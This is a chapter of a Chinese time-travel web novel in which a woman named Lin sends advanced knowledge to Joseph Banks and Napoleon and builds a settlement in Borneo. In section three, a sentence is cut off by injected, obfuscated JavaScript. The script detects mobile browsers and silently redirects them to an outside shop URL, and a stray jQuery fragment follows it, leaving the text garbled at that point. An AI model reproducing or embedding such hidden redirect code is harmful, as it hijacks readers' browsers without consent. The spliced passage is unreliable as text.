《天师南洋》第二章惊雷
一
伦敦,格林威治。1800年6月14日,深夜。
约瑟夫·班克斯爵士刚从皇家学会的例会回到家中。他在书房里整理着来自世界各地的信件——有从悉尼寄来的植物标本报告,有从印度寄来的天文观测数据,还有从巴黎寄来的政治八卦。他摘下眼镜,揉了揉酸涩的眼睛。
忽然,院子里传来一声沉闷的撞击声。
班克斯猛地站起来,快步走到窗前。月光下,一个银白色的箱子静静地躺在草坪上,大约两英尺长,一英尺宽,表面没有划痕,像是从天上掉下来的。他的第一反应不是恐惧,而是好奇——他见过无数来自世界各地的奇怪物件,但从未见过这样的箱子。
他叫醒仆人,举着蜡烛走到院子里。箱子上印着一个徽章——皇家学会的盾徽!他的心跳加速了。箱子没有锁,他小心翼翼地打开,里面铺着柔软的黑色海绵,嵌着几样东西:一沓用英文写的手稿、几块透明的平板(平板电脑)、一个手掌大小的黑色方块(电台)。最上面是一封信,字迹工整,语气谦逊:
“尊敬的班克斯爵士:我是一个隐居在东方的学者,仰慕皇家学会的学术精神。这些资料是我的研究成果,愿与学会共享。如需进一步交流,请用箱子中的‘天音盒’与我联系。此设备的使用方法附后。您忠实的,林。”
班克斯把手稿捧在灯下,只读了几行,手指就开始颤抖。
天文星表。精确到分,覆盖北半球所有可见恒星。他对照自己手中的星图,随手选了一颗星——天狼星。数据吻合,比他手中的星图精确十倍。他又查了另一颗,大角星。一样。他的手抖得更厉害了。
牛痘接种法。详细到每一个步骤,从痘苗的采集、保存,到接种的部位、剂量,再到接种后的护理。他想起几年前爱德华·詹纳发表的那篇划时代的论文,但这份手稿比詹纳的更加详尽、更加系统。如果这是真的,天花将被人类彻底征服。
帆船设计图。他虽然不是造船专家,但能看出那些线条和比例完全不同于现有的任何船型。更快的速度,更低的阻力,更好的耐波性。皇家海军会为之疯狂。
班克斯在书房里坐了一整夜,反复阅读那些手稿,试图找到任何破绽。他没有找到。
天亮时,他拿起那台“天音盒”,按照说明书的指示,摇动手摇发电机,接通电源。一个柔和的女声从盒子里传出:
“班克斯爵士,我能为您做什么?”
他吓了一跳,差点把盒子扔出去。但他很快稳住了自己——一个见过无数奇珍异宝的博物学家,不该被一台会说话的机器吓倒。
“你是……林女士?”
“是的。我在南洋。很高兴您能联系我。”
“你的资料……是真的?”
“每一页都可以验证。爵士,我没有欺骗您的理由。”
班克斯沉默了很久。“你需要什么?”
“我需要皇家学会的认可。需要您帮助我获取书籍、仪器、种子、建材。我愿意用更多的知识交换。”
“更多的知识?”
“比如,如何用蒸汽驱动车轮和船舶。”
班克斯的呼吸停滞了一秒。他当即决定:派出一支专家团,立刻出发。他要亲自挑选最优秀的人——博物学家、医生、农艺师、工程师、语言学家。他要把这些人送到南洋,送到那个女人的身边,去验证、学习、合作。
“林女士,我明天就派船。不,今天。”
二
开罗,拿破仑的指挥部。同一夜。
另一个箱子落在了拿破仑·波拿巴的帐篷附近。哨兵发现后,以为是英国人的炸弹,几乎要把它扔进尼罗河。但拿破仑亲自赶来,阻止了哨兵。
“打开。”他命令道。
箱子上印着法兰西三色旗。他见过无数阴谋诡计,但从没见过敌人把国旗印在炸弹上的。
箱子打开,里面是同样的结构:手稿、平板、电台。信是用法文写的,语气比给班克斯的更直接:
“将军阁下:您是欧洲最杰出的军事家和行政家。这些资料是我对您事业的敬意。炮兵射表修正公式可提升您的火炮命中率。埃及灌溉工程改良方案可让您的征服留下比金字塔更永恒的遗产。请用‘天音盒’联系我。林。”
拿破仑把手稿放在灯下,开始阅读。
炮兵射表。他是炮兵出身,对这个领域了如指掌。他拿起一支笔,随手选了一个常用的射角,按照公式计算了一遍——结果比他的炮兵军官们使用的数据更精确。他又换了几个射角,逐一验证。都对。他把笔放下,沉默了片刻。
埃及灌溉方案。他正在埃及征战,深知尼罗河的水利对当地的重要性。这份方案详细绘制了新的水渠、水闸和蓄水池设计,比法国工程师们提交的任何方案都合理。他甚至能想象出那些水渠在地图上的走向。
他合上手稿,拿起那台“天音盒”。没有犹豫,直接摇动发电机。
“林女士,我是波拿巴。”
“将军阁下,感谢您联系我。”
“你的资料,我验证了一部分。是真的。”
“当然是真的。我不会浪费您的时间。”
拿破仑沉默了片刻。“你需要什么?”
“需要您的保护。我在南洋,婆罗洲。周围有英国人和荷兰人,我需要法国的支持。”
“婆罗洲……太远了。我的舰队到不了那么远。”
“不需要您的舰队。只需要您的名义。如果您承认我是法兰西在东方的一位学者,英国人和荷兰人会有所顾忌。”
拿破仑想了想。“可以。但我需要更多。”
“比如?”
“比如,如何让我的士兵在沙漠中不渴死。比如,如何让我的船只不被英国人追上。”
林晚棠在另一头沉默了几秒。“我可以给您净水技术和改良船帆的设计图。但我要先看到您的诚意。”
“诚意?我波拿巴的名号就是最大的诚意。”
“将军,我尊敬您,但不盲从您。请先派一艘船,带着一位能代表您的人,来见我。我们可以当面谈。”
拿破仑盯着那台“天音盒”,第一次感到有人在他面前如此不卑不亢。
“好。我派人去。德布雷,我的老水手。他会带第一批团队。”
三
在等待西方团队到来的日子里,林晚棠没有闲着。
她利用这段时间,把天师谷的基地从临时营地升级成了永久据点。山坳被重新规划,分成了几个功能区:核心区(房车、天枢机房、仓库)、生活区(木屋、食堂、澡堂)、生产区(工坊、试验田、畜牧栏)、教育医疗区(学堂、医馆、药圃)。
机器狼群的部署也做了调整。一百只机器狼被固定在谷口、山脊、河岸等关键节点,以最低功耗巡逻,减少磨损。其余三百只封存在山体洞穴中,作为应急预备队。防弓箭板始终保持半展开状态,传感器窗口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510244|202965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
日夜不停地扫描周边。
工坊里,赵明——一个从华工中选拔的机灵后生——正带着几个学徒学习操作机床和3D打印机。他们一开始连螺丝都拧不好,但一个月后,已经能独立加工简单的零件了。
“林娘子,这台机器真神,啥都能造。”赵明摸着机床,眼睛发亮。
林晚棠笑了笑。“好好学,以后你就是天师谷的工程师。”
学堂里,天枢通过平板电脑给孩子们上课。林晚棠不需要亲自教书,她只需要偶尔去旁听,看看进度。孩子们从最初的懵懂,到现在能读写几百个汉字、做简单的算术,进步神速。
医馆里,张婶带着几个学徒,用现代药品治疗疟疾、痢疾、外伤。天枢的教程详细到每一步操作,学徒们只要照做,就能见效。林晚棠只需要每周盘点一次药品库存,及时补充。
她还做了一件事——在基地周围埋设了简易的地雷和报警装置。不是杀伤性的,而是触发后会发出刺耳的警报声,提醒机器狼群和天枢有入侵者。这在乱世中是必要的。
四
穿越后的第四十五天,林晚棠收到了拿破仑的第二封电报。
“德布雷已出发。他将经地中海、红海、印度洋,预计六十天后抵达。他带有一批书籍、仪器和工匠。另,我已致信荷兰当局,要求他们尊重你在婆罗洲的活动。”
林晚棠回复:“感谢将军。我会准备好接待。”
几乎同时,班克斯也发来了消息:“探索者号已启航,载十二人专家团,由我的学生胡克领队。预计九十天后抵达。请确保安全。”
林晚棠松了口气。两支团队将在未来几个月内陆续到达。她需要扩建基地,为他们准备住所和实验室。
“天枢,在东侧山坡上新建一排木屋,每间带独立工作台和储物柜。另外,再建一间大会议室,用来接待双方同时在场的情况。”
「明白。预计工期三周,需要三十名工人。」
林晚棠把任务交给了阿福。阿福现在已经是工地总管,手下管着几十个壮劳力。他拍着胸脯保证:“林娘子放心,三周肯定建好!”
五
穿越后的第六十天,天师谷的人口突破了一千五百人。
山坳周围已经形成了一个小集市,有卖米的、卖布的、打铁的、卖药的。林晚棠没有收税,但她规定:所有商贩必须在集市登记,不许欺行霸市,不许贩卖人口。违者驱逐。
她还在谷口立了一块石碑,上面刻着“天师谷”三个大字,下面用小字刻着规矩:“不偷、不抢、不骗、不欺。入谷者,守规矩;犯者,逐。”
一天傍晚,林晚棠独自坐在房车顶层的平台上,看着远处的海平面。
“天枢,你说,英国人来了,法国人来了,他们会打起来吗?”
「短期内不会。他们在天师谷有共同利益——你的知识。但长期看,英法之间的矛盾不可调和。你需要做好准备,在他们之间保持平衡,不偏不倚。」
“怎么平衡?”
「公开透明。双方同时在场时,展示相同的内容。不私下给任何一方独家技术。同时,利用清廷和当地土著作为第三方制衡。”
林晚棠点了点头。她知道这条路不好走,但她没有退路。
远处,学堂的灯还亮着,孩子们在读书。医馆门口还有人在排队。工坊里,蒸汽机的轰鸣声隐约可闻。
这个山谷,正在慢慢变成她想要的样子。
(第二章完)